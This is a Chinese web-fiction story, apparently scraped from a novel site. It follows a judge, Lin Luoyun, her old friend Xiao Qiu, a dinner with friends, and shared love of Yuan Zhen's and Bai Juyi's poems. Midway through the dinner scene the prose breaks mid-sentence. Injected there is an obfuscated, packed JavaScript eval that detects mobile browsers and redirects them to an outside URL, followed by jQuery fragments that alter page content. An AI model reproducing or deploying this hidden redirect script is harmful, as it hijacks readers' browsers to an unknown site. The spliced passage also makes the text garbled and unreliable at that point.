细长的光斑落在林洛筠摊开的卷宗上，随着风偶尔掀起的叶片轻轻晃动。卷宗的封皮是深褐色的，"寻衅滋事罪"五个黑体字印在右上角，油墨沉甸甸的，像块压在林洛筠心头的石头。
她捏着笔的手指顿了顿。那是支黑色水笔，笔杆上的漆被磨掉一小块，露出底下银灰色的金属，在"罪"字边缘染出一小团浅灰的云。就像她此刻的心思，明明该聚焦在被告人供述的矛盾点上，却忽然漫漶开来——桌角的手机震动起来，带着某种笃定的节奏。
林洛筠看着那两个字，唇角先于意识微微扬起，像是被无形的线轻轻牵了一下。她按下接听键时，对面的声音还留着经年累月的温度。
"洛筠洛筠。"电话那头的声线带着雀跃的弧度，仿佛能看见萧秋说话时的喜悦，
"今晚你可别加班！我发现城西新开了家饭店，在那条爬满青藤的老巷子里，门脸是青砖的，据说主厨祖上是给太后做过宴的，最拿手的就是陈年花雕醉蟹。"
萧秋接着说道，
"他家用的花雕是埋在地下的坛装酒，启封时要拍张封条照片存证的。“褥子”她昨天刷到探店视频，抱着我胳膊摇了半宿，非说要去尝尝是不是真像说的那样，能把蟹肉做得像宋词里的句子，绵密得能抽出丝来。"
林洛筠的指尖正摸着卷宗封面上的烫金院徽。那院徽是枚天平，左右托盘的纹路清晰，像触摸着某种不容置疑的准则。她办公室里打印机运作的嗡鸣、隔壁调解室传来的模糊争执声，都成了这声回应的背景音："阿锦这是……又替我安排周末？"
"什么叫替你安排？"萧秋在那头轻笑，"是邀请。正儿八经的、十年老友的周末邀约。有合同法律效力的，林法官，你敢拒？"
"不敢。"林洛筠低头看了眼桌角的台历。台历是法院统一发的，每页右下角印着句法律格言，今天这页印的是"法律不保护权利上的睡眠者"。她用红笔在周六那格圈了个圈。"几点？我这边结束了就过去。"
"五点半，我让宋师傅去接你。"萧秋的声音忽然凑近了些，像是把听筒贴得更近了，"穿你那件外套，就是上周在百货大楼三楼那家店买的。"
林洛筠想象着萧秋说这话时的样子，大概是歪着头，手指在电话键上轻轻敲着，眼里盛着狡猾的光。"我记得你说过，阔腿裤走路时会有风灌进去，现在穿正好。"萧秋补充道，笑意几乎要溢出来，"真的好看，相信我。"
挂了电话，林洛筠把手机扣在桌面上。她指尖在壳面上轻轻敲了敲，节奏和方才手机震动时一样。
上周逛商场的画面忽然漫上来。试衣间的镜子是椭圆形的，镜面上蒙着层薄薄的水汽。她穿着那件外套站在镜前，料子是精梳棉的，贴在皮肤上像朵云，却总觉得颜色太素，衬得自己脸色更淡了。她正皱眉，萧秋就从背后探过身来，替她把歪了的领口理平整。
"洛筠，穿素色好看。"萧秋的呼吸落在她耳后，带着点洗发水的栀子花香，
"像宣纸上刚晕开的墨，一开始看着淡，越品越有味道。"
林洛筠当时没说话，只是对着镜子里的两人笑了笑。镜中的萧秋穿着件天青色的衬衫，而她站在那光里，衣料仿佛真的洇出了点温润的意韵。
她起身去更衣室换衣服。路过茶水间时，两个实习生正靠在饮水机旁说话，声音不高，却顺着开着的窗飘了出来。
"听说了吗？嘉秋集团的许总又上D省的新闻了，昨天在港交所敲钟，那身白色西装，气场绝了。"
"何止啊，我表妹在嘉秋做行政，说许总上周去法院送文件，亲自去的，没让助理代劳。"
两个人实习生的言谈里映出林洛筠微变的神色。许山晴。这个名字在舌尖打了个转，带着点冷硬的质感，像她总穿的那些剪裁利落的西装。
上周确实见过。那天林洛筠刚开完庭，从审判庭出来，正撞见许山晴站在安检口。她穿着件白色西装套裙。手里拎着个黑色公文包。看见林洛筠，她隔着安检仪的栏杆朝她点头笑了笑，唇角弯出个精准的弧度，不多一分，不少一寸。
"林法官。"许山晴的声音和她的人一样，清晰利落，
"萧秋这几天可是总提你呢。"
林洛筠回以礼貌的微笑，说了句"许总客气了"。其实不用许山晴说，她也知道萧秋总提她。萧秋的朋友圈是半公开的，一半是文联的活动公告，今天去哪个纪念馆采风，明天和哪位作家座谈；另一半，是她和许山晴的“虐狗”日常。
有张照片是在书房拍的，两人头挨着头看笔记本电脑，屏幕的光映在她们脸上，萧秋的下巴搁在许山晴肩上，嘴角噙着笑，手里还拿着支笔，像是随时要在屏幕上画圈。背景里的书架占了整面墙，摆满了书，连地板上都堆着几本，用牛皮纸包着书脊。
还有张是在阳台，许山晴坐在藤椅上，萧秋趴在她腿上，两人都闭着眼，阳光透过薄荷丛落在她们身上，像撒了把碎金。萧秋的头发散着，有几缕缠在许山晴的指尖。
最让林洛筠记得深的，是张深夜厨房的照片。两碗阳春面摆在料理台上，葱花绿得发亮，汤面上浮着层薄薄的油花。萧秋站在左边，举着筷子正要去夹许山晴碗里的鸡蛋，许山晴则偏头看着她，眼里的笑意几乎要漫出来。照片的角落有个小小的时间戳：凌晨两点十七分。
那些照片里的萧秋，眉眼是舒展的，嘴角总是微微扬着。那是和在文联开会时完全不同的模样。开会时的萧秋，作为副主席，总是穿着挺括的衬衫，头发梳得一丝不苟，说话时逻辑清晰，掷地有声，偶尔皱眉反驳别人的观点，眼神锐利得像把刀。
但林洛筠总觉得，萧秋对她，有另一种"不同"。这种不同像空气里的尘埃，看不见，摸不着，却真实地存在着，在某个不经意的瞬间，悄悄的拂过心尖。
比如独一无二的称呼。
司机的车停在法院门口时，林洛筠正站在台阶下等。秋风卷起她的裤脚。抬头时，就看见萧秋坐在副驾驶上，正晃着腿看手机。她今天穿了件浅灰色风衣，头发挽在脑后，用支玉簪固定着，几缕碎发垂在颊边，被风一吹，轻轻蹭着她的下颌。
看见林洛筠，萧秋立刻推开车门，动作快得带起阵风。
"洛筠，在这边！"她朝林洛筠挥手。
林洛筠刚坐进后座，还没来得及系安全带，就听见前排传来魏如之刚睡醒的声音："萧子啊，你确定那家店的醉蟹是二十年花雕泡的？我上周去的那家，老板吹得天花乱坠，说用的三十年陈酿，结果一尝，那酒味淡得像料酒，还没我爸泡的杨梅酒劲大呢。"
魏如之是萧秋的高中死党，现在也是小有名气的美食博主。她的脸颊粉扑扑的，说话时黏黏糯糯的。此刻她正捧着本线装的《随园食单》，她用手指小心翼翼地在"蟹"那页划来划去。
"放心吧“褥子”。"萧秋回过头，冲林洛筠眨了眨眼。
"老板是我爸的老同学了，他家酒窖里藏的花雕，坛子上的泥封都带着裂纹了，可能比我们岁数都大。"
她的目光落在林洛筠的衣服上，眼睛亮了亮"果然好看。"萧秋的声音里带着点得意，仿佛在说"你看我眼光多好"，"这颜色衬得你皮肤像玉一样。"
林洛筠只是侧头往窗外看。车正开过老城区的石板路，路面凹凸不平，车身微微颠簸着，像坐在摇椅上。路边的银杏树开始泛黄，一片叶子打着旋儿从枝头落下来，悠悠荡荡的，最后轻轻贴在车窗上。
她忽然想起元稹的句子："唯应待明月，千里与君同。"
大一时的画面涌上来。那是个清闲的夜晚，教室里吊扇慢悠悠地转着，发出吱呀的声响。林洛筠把这句诗抄在笔记本的扉页，字迹是刚练的小楷，一笔一划，带着点生涩。萧秋当时非要吵吵着来看她，恰好凑过来看见了，二话不说，拿起笔在旁边补了句白居易的"共看明月应垂泪，一夜乡心五处同"。
林洛筠总在睡前背法条，宿舍的台灯照着她摊开的《刑法学》，字密密麻麻的。萧秋就趴在她床边，胳膊肘支着她的床垫，手里拿着本《唐诗宋词选》，念道："洛筠你看，元稹和白居易多像我们。"
林洛筠当时只笑她乱比较，翻过一页书，头也不抬地说："人家是诗人，我们一个想当法官，一个想当作家，哪一点像了？"萧秋于是就不说话了，只是用手指轻轻戳她的后背。
现在才懂，有些羁绊，确实能从少年时缠到鬓边染霜。就像老树上的藤，一圈圈绕着。
车在饭店门口停下。门脸藏在两株老桂树后面，青砖黛瓦，门楣上挂着块木匾，写着"晚香居"三个字，是隶书，笔画浑厚，带着点岁月的磨损。桂树的叶子绿得发亮，细碎的桂花藏在叶间，风一吹，就有甜香混着陈年酒的醇厚气息飘过来，直直往人骨头里钻。
刚推开那扇雕花木门，就听见一个清亮的声音喊她："洛筠！"
林洛筠抬头，看见韩瑞菲站在回廊尽头朝她挥手。她穿了件酒红色西装套裙，是那种很正的酒红，衬得她肤色雪白。头发梳得一丝不苟，用发胶固定住，连一丝碎发都没有。手里还捏着个黑色文件夹，一看里面装的就是法律的文件
"我刚从律所过来，就在隔壁那条街。"韩瑞菲走上前，伸手抱了抱她。她身上有淡淡的香水味，前调清冽，中调温润，像她的人，看着锐利，实则心细。
"萧秋说要给你个惊喜，我这不就来了？"
她转向刚进门的萧秋，语气自然得像呼吸："萧秋，你可算到了，魏如之都跟我念叨三遍醉蟹了，说再不来，她就要啃菜单了。"
萧秋笑着拍了拍她的胳膊："就你嘴快。"
魏如之已经正踮着脚看墙上挂着的菜单。菜单是用宣纸写的，墨迹淋漓，"二十年花雕醉蟹"几个字尤其大，旁边还画了只张螯的螃蟹。
"萧子你快看！他们家真有二十年花雕醉蟹，还有胡适一品锅！居然还有清炒手剥笋，这个季节的笋最嫩了，水分足，咬一口能爆出汁来！"
林洛筠看着眼前这幕，忽然觉得有趣。韩瑞菲叫"萧秋"，规规矩矩的，带着点朋友间的客气，像她在法庭上称呼对方律师，清晰而得体；魏如之叫"萧子"，是她们高中时的戏称，透着股混不吝的熟稔；而她自己，总是在心里叫"阿锦"。
阿锦。这是萧秋的小字，高中时只有她知道。
那时萧秋写作文，总爱在文末署"萧锦"。林洛筠问她为什么，她转着笔说："秋太萧瑟了，锦才热闹，像春天的花，夏天的树，看着就欢喜。"有次被5班的语文老师陆星南看见作文本上练习的署名，笑着问"萧锦是谁"，萧秋的脸"唰"地红了，像被晒红的苹果。半天才说“我最好的朋友林洛筠喜欢这么叫我。这不是给她写的议论文吗……”
从那以后，萧秋就总凑到她耳边，喊"洛筠洛筠"。而她回过去的，总是一声低低的"阿锦"，像藏在舌尖的秘密，只敢在无人处悄悄吐露。
"洛筠，坐这边。"她拉开靠窗的椅子，阳光透过雕花木窗的花纹落在椅面上，把木纹的沟壑都填满了。
四人落座。魏如之已经迅雷不及掩耳盗铃之势点好了菜，正拿着菜单给韩瑞菲科普，手指点着"醉蟹"那行字："你看你看，醉蟹要选二两的母蟹，膏才够厚，像凝脂一样。泡的时候要加花椒和冰糖，花雕得没过蟹身，封坛二十一天才能开，少一天都不行。"
韩瑞菲边听边点头，偶尔插句："听起来比我们律所的合同还讲究。"
萧秋在旁边补充："上次回绍兴，家里人说，好的醉蟹，开盖能闻到酒香，却吃不出酒烈，蟹肉带着点甜，像含着颗酒心糖。"
林洛筠没怎么说话，只是安静地看着她们。她是法官，习惯了观察。韩瑞菲说话时嘴角总噙着点笑意，眼神带着律师特有的锐利，像随时准备捕捉对方的漏洞；魏如之提到吃的，就一点也不会困；萧秋则是天生的中心，她说话时会兼顾每个人的表情，看见魏如之咽口水，就笑着冲服务员喊"师傅，快点上菜呀，有人等不及要啃桌子了"，看见韩瑞菲皱眉，就问"是不是律所又有难缠的案子，看你这眉头皱的，能夹死蚊子"。
而萧秋看她的时候，眼神总是格外软。像月光洒在雪地，带着种小心翼翼的珍视。
比如现在，服务员端来一壶碧螺春，萧秋先拿起林洛筠的杯子。杯子是青瓷的，上面绘着几片竹叶。她用热水把杯子烫了烫，水汽氤氲了她的眉眼，然后才提起茶壶，将碧螺春倒进去。茶叶在水里慢慢舒展，像一群绿色的蝴蝶，渐渐沉到杯底。
"你胃不好，喝这个温的。"萧秋把杯子推到她面前，杯壁带着点温热，
"别喝凉的。"
韩瑞菲在旁边"啧"了一声，端起自己的杯子抿了口："萧秋，你对洛筠也太偏心了。我上次说胃不舒服，你让我多喝热水，说''热水治百病''。"
萧秋挑眉，眼里闪着狡黠的光："你是律师，懂的比我多，什么该吃什么不该吃，门儿清。洛筠是法官，心思细，总顾着别人，得我照顾。"
魏如之从菜单里抬起头，鼓着腮帮子说："那我呢？我吃饭也需要照顾，我昨天赶稿没吃晚饭，现在饿得能吞头牛。"
"你？"萧秋夹了颗花生扔她碗里，花生壳落在白瓷碗上，发出清脆的声响，"你啊，只需要照顾好你的肠子，别让它空着就行。"
众人都笑起来。林洛筠端起茶杯，温热的茶水滑过喉咙，带着碧螺春特有的清甜，一路暖到胃里。心里像被什么东西轻轻撞了下。
她想起高中时，萧秋念的多是白居易的诗。"离离原上草，一岁一枯荣"，"回头下望人寰处，不见长安见尘雾"。林洛筠后来才知道，萧秋觉得白居易的诗"热闹"，像她自己，永远像团火，能照亮身边的人；而她偏爱元稹，觉得元稹的诗里藏着种"安静的痛"，像她自己，习惯把情绪藏在深处，像口深井。
有次萧秋翻她的笔记本，看到她抄的"曾经沧海难为水，除却巫山不是云"，忽然抬起头问："洛筠，你说元稹写这句的时候，是不是也觉得，有些人见过了，别人就都成了将就？"
当时她没答，只是把笔记本合上，说"快睡觉吧，明天我还要考宪法"。现在看着萧秋在阳光下笑靥如花的样子，忽然懂了。有些羁绊，确实是"除却巫山不是云"的。见过了这束光，其他的亮，都成了将就。
菜很快上齐了。醉蟹被装在青瓷盘里，红膏透过蟹壳，像凝固的晚霞。胡适一品锅堆得像座小山，里面有蛋饺、丸子、鹌鹑蛋，还有各种菌菇，汤汁咕嘟咕嘟地冒着泡，香气扑鼻。清炒手剥笋嫩得能掐出水，是那种极淡的绿色，边缘泛着点象牙白，上面撒着几粒红色的枸杞，像雪地里开的花。
魏如之已经迫不及待地拿起只醉蟹，用蟹八件里的小锤子轻轻敲了敲蟹壳，然后用尖针撬开。"咔嚓"一声轻响，蟹壳裂开，红膏立刻露了出来，油光锃亮。她咬了一大口，啧啧称赞："绝了……这酒味，够劲！一点都不冲，带着点甜，萧子，下次还来，我请客！"
韩瑞菲正用公筷给林洛筠夹了块响铃卷。响铃卷是金黄色的，炸得酥脆，浸在汤里半软半硬。"上周那个离婚案，对方律师有意思得很。"韩瑞菲放下筷子，语气里带着点不屑，
"居然拿你前年判的那个案子当判例，说你''对女性当事人有倾向性''，我直接怼回去了——林法官的判决，哪次不是基于证据？法律条文摆着呢，他当法院是他家开的？"
林洛筠笑了笑，夹起那块响铃卷咬了口，酥脆的外壳混着鲜美的汤汁，在嘴里化开。
"正常，律师嘛，为了当事人，什么招都想得出来。"
"什么正常？"萧秋放下筷子，眉头皱起来，
"哪个律所的？我或许认识他们主任，要不要我去''交流''一下？让他好好管管手下的人，别满嘴跑火车。"
"阿锦。"林洛筠轻轻叫了声，声音不高，却像阵清风，瞬间抚平了萧秋眉间的皱。
萧秋立刻松了眉，眼里的厉色散去，换上了柔和的光："好，听你的。但要是再有人胡说八道，你得告诉我，我给你出气。"
韩瑞菲在旁边笑，用胳膊肘碰了碰萧秋："看看，这护短的样子，跟高中时一模一样。那时候有人说洛筠性格闷，像块捂不热的石头，萧秋直接把人家的笔记本扔垃圾桶了，还说''你懂什么，洛筠是玉，得慢慢品''。"
"有这事？"魏如之瞪大眼睛，嘴里的蟹肉差点掉出来，"萧子，我怎么不记得你说过？我那时候干什么去了？"
"你当时在睡觉。"萧秋白她一眼，嘴角却带着笑意，"上自习课，全班都在叨叨说话，就你睡得口水都快流出来了。再说了，那人说洛筠''闷得像口井''，我听着不舒服。"
林洛筠低头喝了口汤，带着胡适一品锅的醇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051573|179046||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厚，暖融融的。她确实像口井，安静，沉默，藏着很多事，不轻易对人敞开。是萧秋这束光，总愿意往井里照，一点一点，照亮那些深藏的角落，让她觉得自己不是孤单一人。
吃到一半，萧秋的手机响了。是那种很轻的铃声，是首钢琴曲，林洛筠记得，是萧秋自己弹的《月光》。她看了眼来电显示，接起时语气不自觉的温柔起来："山晴？嗯，在外面吃饭，和洛筠她们……好，知道了，你别过来了，外面风大，降温了……嗯，我带了外套，你也是，别穿太少……那……一会见。"
挂了电话，萧秋的脸上带着点不易察觉的红，像抹了层淡胭脂。韩瑞菲笑道："许总的电话？听这语气，我就知道。"
萧秋点头，拿起筷子夹了块笋，放进嘴里慢慢嚼着："她刚开完会，说顺道路过，想送点东西过来。"
"送什么？"魏如之好奇地探过身，像只探头探脑的小仓鼠。
"我上周念叨想看的那套《敦煌遗书精选》，她托人从北京的出版社找的，说是限量版。"萧秋说着，嘴角弯得更厉害，
"她说刚寄到嘉秋，正好路过，想给我送过来。"
林洛筠看着她的样子，忽然想起元稹的"取次花丛懒回顾，半缘修道半缘君"。以前总觉得这句是说爱情的，热烈而专一。现在才明白，无论是哪种感情，到了深处，都是"懒回顾"的。不是看不见其他的好，而是心里的位置，早就被一个人占满了，再也容不下别人。
萧秋有了许山晴，即使上次吵架，却依然把她放在心尖上。这份分寸，这份珍重，比任何情话都动人。像老茶，初尝是苦，再品是甘，余味悠长。
果然没过多久，服务员领着个人进来。许山晴穿了件黑色长款风衣，垂感极好，长度到脚踝，衬得她身姿挺拔。手里拎着个牛皮纸包着的书盒，用细绳捆着，打着个漂亮的结。看见萧秋时，她那双总是锐利如鹰的眼睛瞬间柔和下来。
"没打扰你们吧？"许山晴的声音比上次在法院听到的柔和些，带着点笑意。
"没有没有，许总快坐。"韩瑞菲赶紧起身，拉开旁边的椅子。
许山晴笑着摆摆手，把书盒递给萧秋："刚到的，还没拆封，你看看是不是这个版本。"她的目光扫过餐桌，最后落在林洛筠身上，点了点头，
"林法官。"
"许总。"林洛筠回以微笑。
萧秋接过书盒，手指轻轻抚过牛皮纸的纹路，眼里闪着兴奋的光。她抬头看向许山晴，眼神亮得像孩子："你怎么知道我想要这个版本？我就跟你提过一次。"
许山晴笑了笑，伸手替她理了理耳边的碎发："你说过的话，我都记得。"两人对视的瞬间，空气里像撒了把糖，甜得人心里发暖。
魏如之看得直咂嘴，说道："萧子，你俩能不能别在我们单身狗面前秀恩爱？再秀我就把醉蟹全都吃光，一个不给你们留。"
许山晴笑了笑，看向萧秋："我还有事，先走了。萧秋，晚上早点回家，别玩太晚。"她又看了眼林洛筠，眼神真诚，"洛筠，有空来家里吃饭，萧秋总说你爱吃她做的糖醋排骨，说她做的比饭店的好吃。"
"好。"林洛筠点头。
许山晴走后，韩瑞菲碰了碰萧秋的胳膊："许总对你是真上心啊，你说的话都记得。"
萧秋哼了声，嘴角却扬着："我对她也上心，她喜欢的那家咖啡店出了新品，我昨天特意绕路去买的。"
林洛筠看着桌上那套《敦煌遗书精选》，忽然想起高中时萧秋给她带的早餐。那时候萧秋家离学校远，要坐四十分钟公交，却总比谁都到得早。手里拎着两个肉包，用塑料袋装着，还冒着热气。
"路过早点铺买的，顺手。"萧秋把肉包塞给她，自己啃着个馒头。后来林洛筠才知道，萧秋是特意绕路去买的。因为有天早上，她随口提了句"校门口那家的肉包馅里放了香菇，好吃"。
原来有些人的好，是刻在骨子里的。对许山晴是，对她，也是。像老树根，默默地往土壤深处扎，不声不响，却早已盘根错节。
吃完饭，萧秋提议去逛书店。"有一家旧书店，在巷子尽头，老板是个热心肠的老人，据说收了套民国版的《白氏长庆集》，线装的，带批注。"萧秋看向林洛筠，眼里闪着期待的光，"我想给洛筠看看，说不定你会喜欢。"
"我不去了，律所还有事，那个离婚案的材料还没整理完。"韩瑞菲拿起文件夹，拍了拍林洛筠的肩膀，
"洛筠，下周开庭见，到时候看我怎么收拾那个胡说八道的律师。"
"我也不去了，"魏如之打了个哈欠，眼泪都快出来了，
"我要回家睡觉，昨晚赶稿到三点，现在眼皮打架，再不走就要在书店睡过去了。"
最后只剩林洛筠和萧秋。两人并肩走在老街上。萧秋忽然停下脚步，低头看了看脚边的银杏叶，叶子在地上打着旋儿。
"洛筠，你还记得省实验那个银杏林吗？就在学校后面的山坡上。"
"记得。"林洛筠点头，脚下的石板路凹凸不平，却让人觉得踏实，"你说那里的银杏叶能做书签，说要等叶子黄了，一起去捡。"
"是啊，"萧秋从包里掏出个小盒子，是个暗红色的丝绒盒子，"前几天我去那边了，学校后面的山坡还在，银杏林也还在。捡了片叶子，做了个书签。"
林洛筠打开盒子，里面躺着片金黄的银杏叶。叶子很完整，没有一点破损，叶脉清晰得像幅画，边缘压得很平整，显然是精心处理过的。背面用钢笔写着行小字，是萧秋特有的字迹，娟秀里带着点刚劲。
诗句是白居易写给元稹的。
林洛筠的指尖轻轻拂过那行字，钢笔的墨迹已经干透，却依然带着点温润的质感，像萧秋的手。
"阿锦。"林洛筠抬头，看见萧秋眼里的光，亮得让人移不开眼。
"洛筠，"萧秋说道，
"元稹和白居易，他们隔了千里，隔了生死，还能记得对方。我们比他们好，我们在同一个城市，抬头能看见同一片月亮，难过的时候能立刻找到对方，想见面了，打个电话就能约在街角的咖啡店。"
林洛筠把书签放回盒子里，握紧了萧秋的手。萧秋的手总是暖暖的。像她的人，温暖而有力量。
她们继续往前走，路过一家文具店。店门口摆着个小摊，放着各种钢笔和笔记本。萧秋拉着她进去，店里弥漫着纸张和墨水的味道，像座小小的宝藏。
"你看这个。"萧秋指着玻璃柜里的钢笔，是支银色的，笔尖细细的，"这个牌子的笔尖软，写起来流畅，适合你写判决书。"她又拿起个笔记本，封面是仿宣纸的米白色，带着细微的纹路，"这个封面是宣纸纹的，你抄诗肯定好看，吸墨，不会洇。"
林洛筠看着她认真挑选的样子，忽然笑了。韩瑞菲叫她"萧秋"，是朋友的坦荡，像开阔的平原，一览无余；魏如之叫她"萧子"，是死党的亲昵，像热闹的集市，烟火气十足；而她叫"阿锦"，是藏在时光里的秘密，是只有她们懂的、独一无二的注脚。
就像元稹写给白居易的"残灯无焰影幢幢，此夕闻君谪九江"，有些称呼，从来不是简单的代号，而是刻在骨头上的羁绊——是"我知你眉间的愁"，是"你懂我未说的话"，是千万人之中，我独有的那份"特称"。
走出文具店时，暮色已经漫了上来。天空被染成了温柔的橘粉色。路灯次第亮起，暖黄色的光洒在地上。
林洛筠抬头看她，萧她想起很多年前，在那个飘着雪的冬夜。宿舍楼道里的灯坏了，一片漆黑。萧秋牵着她的手，一步一步往下走，雪粒子打在伞上，发出簌簌的声响。
"洛筠，"萧秋的声音在风雪里有点发颤，却异常坚定，"我们以后一定要一直做最好最好的朋友，一起看月亮，你给我念法条，我给你念诗。"
"好。"她轻声回答，像回答当年那个郑重的承诺，也像回答这十年来的每一次牵挂。
晚风卷着银杏叶掠过脚边，沙沙作响。林洛筠握紧了手里的笔记本，封面的宣纸纹硌着掌心，带着种踏实的质感。有些感情，不需要惊天动地，不需要朝朝暮暮，只需要一个专属的称呼，就能成为一生的羁绊。
就像她叫的那声"阿锦"，从来都不是简单的两个字。那是她的私心，她的珍重，是为萧秋留的、唯一的、无可替代的特称。